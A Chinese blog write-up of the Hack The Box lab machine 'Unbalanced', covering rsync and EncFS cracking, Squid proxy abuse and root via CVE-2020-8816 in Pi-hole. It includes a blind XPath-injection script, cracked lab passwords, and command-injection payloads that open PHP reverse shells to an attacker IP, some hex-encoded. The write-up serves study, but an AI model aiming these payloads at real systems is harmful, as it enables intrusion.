抱歉,您的浏览器无法访问本站

本页面需要浏览器支持(启用)JavaScript


了解详情 >

byc_404's blog

Do not go gentle into that good night

Unbalanced 可能是自己做过的htb困难靶机中里最简单的一个。其主要难度来自于最开始的起手式部分。比较需要耐心,但是没有难度。而提权部分直接可以用nday打。这对于一个困难靶机而言基本太过简单了。所以到时简单分析下这个用到的cve。

  • 靶机 10.10.10.200
  • 攻击机 10.10.14.11

initial foothold

nmap

# Nmap 7.80 scan initiated Fri Aug  7 11:01:56 2020 as: nmap -sC -sV -oA nmap/unbalance 10.10.10.200
Nmap scan report for 10.10.10.200
Host is up (0.43s latency).
Not shown: 997 closed ports
PORT     STATE SERVICE    VERSION
22/tcp   open  ssh        OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey: 
|   2048 a2:76:5c:b0:88:6f:9e:62:e8:83:51:e7:cf:bf:2d:f2 (RSA)
|   256 d0:65:fb:f6:3e:11:b1:d6:e6:f7:5e:c0:15:0c:0a:77 (ECDSA)
|_  256 5e:2b:93:59:1d:49:28:8d:43:2c:c1:f7:e3:37:0f:83 (ED25519)
873/tcp  open  rsync      (protocol version 31)
3128/tcp open  http-proxy Squid http proxy 4.6
|_http-server-header: squid/4.6
|_http-title: ERROR: The requested URL could not be retrieved
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Fri Aug  7 11:03:34 2020 -- 1 IP address (1 host up) scanned in 98.87 seconds

873有rsync.3128有squid。既然rsync开放,在htb这种环境里肯定存在未授权访问的。所以探测并下载下来。

root@byc404:~/htb/boxes/Unbalanced/# rsync 10.10.10.200::
conf_backups    EncFS-encrypted configuration backups
root@byc404:~/htb/boxes/Unbalanced/# rsync 192.168.122.1::conf_backups ./rsync_backup

得到conf_backups文件夹。看下内容

root@byc404:~/htb/boxes/Unbalanced/rsync_backup# ls -la
-rw-r--r-- 1 root root   2980 Apr  4 23:05 A4qOD1nvqe9JgKnslwk1sUzO                                                                                                                         
-rw-r--r-- 1 root root   1138 Apr  4 23:05 a4zdmLrBYDC24s9Z59y-Pwa2                                                                                                                         
-rw-r--r-- 1 root root    443 Apr  4 23:05 Acv0PEQX8vs-KdK307QNHaiF                                                                                                                         
-rw-r--r-- 1 root root    935 Apr  4 23:05 B6J5M3OP0X7W25ITnaZX753T                                                                                                                         
-rw-r--r-- 1 root root   3643 Apr  4 23:05 c9w3APbCYWfWLsq7NFOdjQpA                                                                                                                         
-rw-r--r-- 1 root root    288 Apr  4 23:05 ,CBjPJW4EGlcqwZW4nmVqBA6                                                                                                                         
-rw-r--r-- 1 root root   1521 Apr  4 23:05 Chlsy5ahvpl5Q0o3hMyUIlNwJbiNG99DxXJeR5vXXFgHC1                                                                                                   
-rw-r--r-- 1 root root    332 Apr  4 23:05 cwJnkiUiyfhynK2CvJT7rbUrS3AEJipP7zhItWiLcRVSA1                                                                                                   
-rw-r--r-- 1 root root   2592 Apr  4 23:05 dF2GU58wFl3x5R7aDE6QEnDj                                                                                                                         
-rw-r--r-- 1 root root   1268 Apr  4 23:05 dNTEvgsjgG6lKBr8ev8Dw,p7                                                                                                                         
-rw-r--r-- 1 root root   2359 Apr  4 23:05 ECXONXBBRwhb5tYOIcjjFZzh                                                                                                                         
-rw-r--r-- 1 root root   1297 Apr  2 21:06 .encfs6.xml                                                                                                                                      
-rw-r--r-- 1 root root   1464 Apr  4 23:05 F4F9opY2nhVVnRgiQ,OUs-Y0     
-rw-r--r-- 1 root root    354 Apr  4 23:05 FGZsMmjhKz7CJ2r-OjxkdOfKdEip4Gx2vCDI24GXSF5eB1

.....

发现文件名似乎都是处理过的hashstring.有个.encfs6.xml但是内容看不出什么敏感数据。

google搜索了下发现这是encfs加密得到配置文件。encfs加密的用法简单来说,就是你可以指定一个被加密的文件夹,再mount另一个文件夹作为加密文件夹。执行encfs后,被加密的文件夹的内容以及文件名就在加密文件夹就会自动生成。此时加密文件夹会留下一个.encfs6.xml

这种情况经常出现在使用自动同步的情况里面。因为encfs一旦为两个文件夹建立了映射,就会自动加密新放入的文件。正因如此,使用rsync处理encfs加密后的文件夹也是一种常见选择。而一旦出现了rsync未授权访问就将导致进一步的信息泄露。实战中完全可能。

至于解密方法其实安装了encfs后看一下man就懂了。我在--reverse的选项那看到了一种逆向两个encfs文件夹的做法。因此只需要一个正确的encfs 密码即可。(encfs每次调用加密建立映射时会要求你输入密码)
接着查资料。我发现encfs如果有.encfs6.xml的话。可以直接使用john爆破
https://security.stackexchange.com/questions/98205/breaking-encfs-given-encfs6-xml

先使用encfs2john.py转换。然后爆破即可

结果
$encfs$192*580280*0*20*99176a6e4d96c0b32bad9d4feb3d8e425165f105*44*1b2a580dea6cda1aedd96d0b72f43de132b239f51c224852030dfe8892da2cad329edc006815a3e84b887add:bubblegum

bubblegum就是encfs密码。
然后解密文件夹。把解密的文件夹放到rsync_decrypt里去。注意这里的路径只接受绝对路径。

ENCFS6_CONFIG=/root/htb/boxes/Unbalanced/rsync_backup/.encfs6.xml encfs /root/htb/boxes/Unbalanced/rsync_backup /root/htb/boxes/Unbalanced/rsync_decrypt

得到解密文件夹后。发现有几十个conf文件。基本就是平时会放到/etc下的那些.conf文件。

这里明显需要抓重点。基于之前我们探测时发现有squid代理开放。所以找到squid.conf。
squid.conf同样要抓重点。因为里面有上千行内容。比较方便的方法是直接cat squid.conf| grep htb找到一个域名。或者后来我拿到本机上用vscode看时因为注释部分跟未注释部分有明显的绿色与白色差别。所以可以很快拖着看。找到所有关键信息。


# Only allow cachemgr access from localhost
#http_access allow localhost manager
#http_access deny manager
http_access allow manager


#http_access allow localnet
http_access allow localhost

# Allow access to intranet
acl intranet dstdomain -n intranet.unbalanced.htb
acl intranet_net dst -n 172.16.0.0/12
http_access allow intranet
http_access allow intranet_net


# cachemgr_passwd secret shutdown
# cachemgr_passwd lesssssssecret info stats/objects
# cachemgr_passwd disable all
#Default:
# No password. Actions which require password are denied.
cachemgr_passwd Thah$Sh1 menu pconn mem diskd fqdncache filedescriptors objects vm_objects counters 5min 60min histograms cbdata sbuf events
cachemgr_passwd disable all

几个关键点。

  • intranet.unbalanced.htb 域名。不过是内网ip
  • cachemgr_passwd 即cache manager的密码Thah$Sh1
  • 只能本地访问

那就很明显了。我们之前namp也没有找到squid以外的web服务。既然如此,直接使用它这个代理服务器作代理就能访问内网网页了。

修改浏览器的代理改为10.10.10.200:3128.再次访问intranet.unbalanced.htb

现在我们可以访问到页面.它会重定向我们到/inranet.php。不过这个登录界面没啥东西。可能需要进一步利用。唯一稍微泄露出相关信息的内容在headers里

这时想起我们之前的cache manager密码。搜索一波如何利用。

The cache manager (cachemgr.cgi) is a CGI utility for displaying statistics about the squid process as it runs

简单看下发现我们是可以调用cachemgr的命令的。之前在squid.conf中跟在密码后的一大组文字其实就是各种可调用的命令。
搜索了下调用方式。发现可以telnet连接代理服务器然后再传一个http报头。不过后来找到一个debian就有的squidclient命令行.更加方便。
我们先调用下menu命令。

 root@byc404:~/htb/boxes/Unbalanced#   squidclient -h 10.10.10.200 -w 'Thah$Sh1' mgr:menu                                                                                                      
HTTP/1.1 200 OK                                                                               
Server: squid/4.6                                                                             
Mime-Version: 1.0                                                                             
Date: Sat, 15 Aug 2020 02:17:42 GMT                                                           
Content-Type: text/plain;charset=utf-8                                                        
Expires: Sat, 15 Aug 2020 02:17:42 GMT                                                        
Last-Modified: Sat, 15 Aug 2020 02:17:42 GMT                                                  
X-Cache: MISS from unbalanced                                                                 
X-Cache-Lookup: MISS from unbalanced:3128                                                     
Via: 1.1 unbalanced (squid/4.6)                                                               
Connection: close                                                                             

 index                  Cache Manager Interface                 disabled
 menu                   Cache Manager Menu                      protected
 offline_toggle         Toggle offline_mode setting             disabled
 shutdown               Shut Down the Squid Process             disabled
 reconfigure            Reconfigure Squid                       disabled
 rotate                 Rotate Squid Logs                       disabled
 pconn                  Persistent Connection Utilization Histograms    protected
 mem                    Memory Utilization                      protected
 diskd                  DISKD Stats                             protected
 squidaio_counts        Async IO Function Counters              disabled
 config                 Current Squid Configuration             disabled 
 client_list            Cache Client List                       disabled 
 comm_epoll_incoming    comm_incoming() stats                   disabled 
 ipcache                IP Cache Stats and Contents             disabled
 fqdncache              FQDN Cache Stats and Contents           protected
 idns                   Internal DNS Statistics                 disabled
 redirector             URL Redirector Stats                    disabled
 store_id               StoreId helper Stats                    disabled
 external_acl           External ACL stats                      disabled
 http_headers           HTTP Header Statistics                  disabled      
 external_acl           External ACL stats                      disabled
 http_headers           HTTP Header Statistics                  disabled                      
 info                   General Runtime Information             disabled                      
 service_times          Service Times (Percentiles)             disabled                                                                
 filedescriptors        Process Filedescriptor Allocation       protected                     
 objects                All Cache Objects                       protected                     
 vm_objects             In-Memory and In-Transit Objects        protected                     
 io                     Server-side network read() size histograms      disabled              
 counters               Traffic and Resource Counters           protected                     
 peer_select            Peer Selection Algorithms               disabled                      
 digest_stats           Cache Digest and ICP blob               disabled                      
 5min                   5 Minute Average of Counters            protected                     
 60min                  60 Minute Average of Counters           protected                     
 utilization            Cache Utilization                       disabled                      
 histograms             Full Histogram Counts                   protected                     
 active_requests        Client-side Active Requests             disabled                      
 username_cache         Active Cached Usernames                 disabled
 openfd_objects         Objects with Swapout files open         disabled 
 store_digest           Store Digest                            disabled
 store_log_tags         Histogram of store.log tags             disabled
 storedir               Store Directory Stats                   disabled
 store_io               Store IO Interface Stats                disabled
 store_check_cachable_stats     storeCheckCachable() Stats              disabled 
 refresh                Refresh Algorithm Statistics            disabled 
 delay                  Delay Pool Levels                       disabled 
 forward                Request Forwarding Statistics           disabled
 cbdata                 Callback Data Registry Contents         protected
 sbuf                   String-Buffer statistics                protected
 events                 Event Queue                             protected
 netdb                  Network Measurement Database            disabled
 asndb                  AS Number Database                      disabled 
 carp                   CARP information                        disabled
 userhash               peer userhash information               disabled
 sourcehash             peer sourcehash information             disabled
 server_list            Peer Cache Statistics                   disabled

可以看到除了squid配置中已经标出的可用命令外,其他都是disabled的。所以我们依次调用下寻找关键信息。
在调用到fqdncache

FQDN Cache Statistics:
FQDNcache Entries In Use: 13
FQDNcache Entries Cached: 11
FQDNcache Requests: 12782
FQDNcache Hits: 0
FQDNcache Negative Hits: 7080
FQDNcache Misses: 5702
FQDN Cache Contents:

Address                                       Flg TTL Cnt Hostnames
10.10.14.6                                     N  -16959   0
127.0.1.1                                       H -001   2 unbalanced.htb unbalanced
::1                                             H -001   3 localhost ip6-localhost ip6-loopback
172.31.179.2                                    H -001   1 intranet-host2.unbalanced.htb
172.31.179.3                                    H -001   1 intranet-host3.unbalanced.htb
10.10.10.200                                   N  -1086   0
127.0.0.1                                       H -001   1 localhost
172.17.0.1                                      H -001   1 intranet.unbalanced.htb
ff02::1                                         H -001   1 ip6-allnodes
ff02::2                                         H -001   1 ip6-allrouters
10.10.14.65                                    N  025   0

看到intranet-host3.unbalanced.htb及对应的ip。不难想到内网里可能还有其他服务。这里先访问172.31.179.2172.31.179.3.发现会被重定向到/inranet.php也就是跟之前同样的网页。但是顺着访问172.31.179.1

没有出现重定向。这种怪异行为值得重视。我们再次访问172.31.179.1/intranet.php。这次尝试登录时,会发现它会回显Invalid credentials..也就是说可以跟服务交互了。

既然如此肯定就要在登录参数作文章。无非不就是sqli那一套。简单尝试后发现密码处存在注入.当以abc' or '1'='1作为密码时会回显四个用户名与对应邮箱。

 rita
Rita Fubelli

rita@unbalanced.htb

Role: HR Manager

jim
Jim Mickelson

jim@unbalanced.htb

Role: Web Designer

bryan
Bryan Angstrom

bryan@unbalanced.htb

Role: System Administrator

sarah
Sarah Goodman

sarah@unbalanced.htb

Role: Team Leader

bryan是Administrator.说明很有可能就是需要他的信息。不过这里有个细节上需要注意下。当我尝试如abc' or 1=1#这样的payload不可行,abc' or substr('abc',1,1)='a也不可行。但是abc' or substring('abc',1,1)='a是回显了真值的。那么这里真的是sql注入吗?答案是否定的。我很快联想到曾经在npuctf中出现过一次的xpath注入。加上这里并没有执行所谓的登录操作,而是在界面回显html块内容。我可以判断,这里应该是一个xpath注入而不是sql注入。

xpath来盲注的话。比起sql布尔盲注更加简单

import requests
import string

URL='http://172.31.179.1/intranet.php'
proxies={'http':"10.10.10.200:3128"}
users={'bryan','rita','jim','sarah'}
for user in users:
    password=""
    print(user)
    for i in range(1,30):
        a=0
        print(i)
        for j in string.printable:
            data={"Username":"a","Password":"' or Username='"+user+"' and substring(Password,"+str(i)+",1)='"+j+""}
            r=requests.post(URL,data=data,proxies=proxies)
            if len(r.text) > 7000:
                password+=j
                a=1
                print(password)
                break
        if a==0:
            break

简单写个盲注脚本,注意要挂它的proxy。这里优先跑bryan的密码。因为远程实在太慢了……幸好bryan就是系统用户。使用它的密码即可ssh登录。

其他人的密码后来花些时间也跑出来了。

bryan:ireallyl0vebubblegum!!!
rita:password01!
jim:stairwaytoheaven
sarah:sarah4evah

bryan登录上去就能拿到user.txt了。

简单说这一部分其实难度真的一般。主要是使用它给的proxy这步可能有的人没做过。但是假如利用好rsync得到的conf就能很快知道这点。所以难度一般。后面比较迷惑的还是xpath与sqli不能混淆。不过通过简单的fuzz还是能判断出来的。

privesc to root

bryan文件夹下有一个TODO

############
# Intranet #
############
* Install new intranet-host3 docker [DONE]
* Rewrite the intranet-host3 code to fix Xpath vulnerability [DONE]
* Test intranet-host3 [DONE]
* Add intranet-host3 to load balancer [DONE]
* Take down intranet-host1 and intranet-host2 from load balancer (set as quiescent, weight zero) [DONE]
* Fix intranet-host2 [DONE]
* Re-add intranet-host2 to load balancer (set default weight) [DONE]
- Fix intranet-host1 [TODO]
- Re-add intranet-host1 to load balancer (set default weight) [TODO]

###########
# Pi-hole #
###########
* Install Pi-hole docker (only listening on 127.0.0.1) [DONE]
* Set temporary admin password [DONE]
* Create Pi-hole configuration script [IN PROGRESS]
- Run Pi-hole configuration script [TODO]
- Expose Pi-hole ports to the network [TODO]

从这里可以看出。靶机上已经跑好了一个docker。但是它是跑在127。0.0.1的。并且有个admin密码。Pi-hole 配置文件尚未完成。

ss -lntp看下端口

bryan@unbalanced:~$ ss -lntp
State                    Recv-Q                   Send-Q                                       Local Address:Port                                       Peer Address:Port                   
LISTEN                   0                        5                                                  0.0.0.0:873                                             0.0.0.0:*                      
LISTEN                   0                        128                                              127.0.0.1:8080                                            0.0.0.0:*                      
LISTEN                   0                        128                                              127.0.0.1:5553                                            0.0.0.0:*                      
LISTEN                   0                        32                                                 0.0.0.0:53                                              0.0.0.0:*                      
LISTEN                   0                        128                                                0.0.0.0:22                                              0.0.0.0:*                      
LISTEN                   0                        5                                                     [::]:873                                                [::]:*                      
LISTEN                   0                        32                                                    [::]:53                                                 [::]:*                      
LISTEN                   0                        128                                                   [::]:22                                                 [::]:*                      
LISTEN                   0                        128                                                      *:3128                                                  *:*  

8080与5553明显是跑在本地上的。其中8080可以curl到。不过会提醒我们hostname不对。

既然是个web服务。那先端口转发到本地看看长什么样。我们直接用ssh转发

~C #进入ssh命令行
-L 8080:127.0.0.1:8080

增加一个Host: unbalanced

再次暴露了一个pihole.unbalanced.htb.以及对应的内网ip.

访问这个pihole的后台/admin.因为之前提示过我们temporary admin password .所以用admin就能登入。进去后发现是个4.3.2版本的pihole.

暂时没思路。不过搜索下发现版本在CVE-2020-8816可用范围内。这个是可以直接rce拿到www-data的shell的。虽然跟我们提权root没啥关系。但是不妨一试。
用这的exp
https://github.com/AndreyRainchik/CVE-2020-8816

因为我们已经转发好端口了。所以直接打就是了
python3 CVE-2020-8816.py http://127.0.0.1:8080 admin 10.10.14.11 90001

www-data的话肯定得继续收集信息了。但是我意想不到的是www-data居然可以直接进这个docker的root目录……简直可怕。然后里面有之前提到的config文件

#!/bin/bash

# Add domains to whitelist
/usr/local/bin/pihole -w unbalanced.htb
/usr/local/bin/pihole -w rebalanced.htb

# Set temperature unit to Celsius
/usr/local/bin/pihole -a -c

# Add local host record
/usr/local/bin/pihole -a hostrecord pihole.unbalanced.htb 127.0.0.1

# Set privacy level
/usr/local/bin/pihole -a -l 4

# Set web admin interface password
/usr/local/bin/pihole -a -p 'bUbBl3gUm$43v3Ry0n3!'

# Set admin email
/usr/local/bin/pihole -a email admin@unbalanced.htb

admin的密码又是一个跟bubblegum有关的……试了下ssh登录root没成。su一下居然就成了……

怎么说呢。提权这块只要nday poc就能拿www-data => 然后就可以进root目录=> 然后系统密码直接就暴露出来了。这一连串操作令人窒息。有点刻意而且让这台靶机的体验直接降了一个档次。所以没啥总结的。

CVE-2020-8816

因为后面没什么收获,所以简单看了下这个cve。发现还挺有意思的。

https://xz.aliyun.com/t/7511

首先。pihole有这样一个功能设置静态DHCP,将IP地址固定到给定的MAC地址上
而他的源码里调用了命令执行拼接

if(!strlen($error))
{
    exec("sudo pihole -a addstaticdhcp ".$mac." ".$ip." ".$hostname);
    $success .= "A new static address has been added";
}

既然是拼接。假如没有过滤到位那就肯定可以绕过。我们看下它主要的过滤方式。

function validMAC($mac_addr)
{
  // Accepted input format: 00:01:02:1A:5F:FF (characters may be lower case)
  return (preg_match('/([a-fA-F0-9]{2}[:]?){6}/', $mac_addr) == 1); 
}
......


$mac = $_POST["AddMAC"];  
$ip = $_POST["AddIP"];
$hostname = $_POST["AddHostname"];

if(!validMAC($mac))
{
    $error .= "MAC address (".htmlspecialchars($mac).") is invalid!<br>";
}
$mac = strtoupper($mac); 

这个正则写的并不正确。比如我们直接使用aaaaaaaaaaaa就能通过校验。甚至可以在后面加上任意shell代码

var_dump(validMAC('aaaaaaaaaaaa&&php -r \'$sock=fsockopen("10.1.0.9",2256);exec("bin/sh -i <&3 >&3 2>&3");\''));
//bool(true)

不过唯一重点就是。他对我们的输入调用了htmlspecialchars以及strtoupper.后者比较关键。

这时首先就考验利用的php技巧了。因为合法的mac后面跟任意语句都是可以的。那自然我们选择php代码执行函数。(php自带函数不区分大小写)。使用EXEC(HEX2BIN(xxxxx...))即可以执行任意代码。接下来重点就是绕过被变成大写的php -r了。

这一步就用到系统命令执行的绕过技巧了。假如我们使用aaaaaaaaaaaa$PATH.系统是会返回PATH变量的

/opt/pihole:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

而其中pihole,usr正好可以构造出p h r这几个字母。所以我们使用

W=${PATH#/???/}
P=${W%%?????:}
X=${PATH#/???/??}
H=${X%%???:}
Z=${PATH#:/??}
R=${Z%%/}

简单举个例子。基本上就是利用linux通配符来进行构造。十分精妙

root@pihole:/# W=${PATH#/???/}&&P=${W%%?????:*}&&echo $W && echo  $P
pihole:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
p

最后以类似的payload命令执行

aaaaaaaaaaaa&&W=${PATH#/???/}&&P=${W%%?????:*}&&X=${PATH#/???/??}&&H=${X%%???:*}&&Z=${PATH#*:/??}&&R=${Z%%/*}&&$P$H$P$IFS-$R$IFS'EXEC(HEX2BIN("706870202D72202724736F636B3D66736F636B6F70656E282231302E312E302E39222C32323536293B6578656328222F62696E2F7368202D69203C2633203E263320323E263322293B27"));'&&

summary

前面很有趣。后面很简单。不过如果深入研究这个cve的话还是比较有收获的。

评论